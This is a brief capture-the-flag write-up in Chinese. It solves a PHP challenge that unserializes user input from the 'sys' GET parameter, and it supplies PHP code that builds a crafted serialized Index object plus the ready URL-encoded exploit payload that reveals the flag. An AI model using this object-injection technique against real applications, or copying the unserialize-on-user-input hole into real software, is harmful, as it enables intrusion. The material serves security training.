随机值(序列化)

题目：

 <?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?> 

思路：满足2个if语句得到flag

 <?php
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;
    function __construct(){
        $this->Polar1 = $this->Polar2;
        $this->Night = $this->Light;
    }
}
$a = new Index();
var_dump(urlencode(serialize($a)));

?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3BN%3Bs%3A13%3A%22%00Index%00Polar2%22%3BN%3Bs%3A8%3A%22%00%2A%00Night%22%3BN%3Bs%3A8%3A%22%00%2A%00Light%22%3BN%3B%7D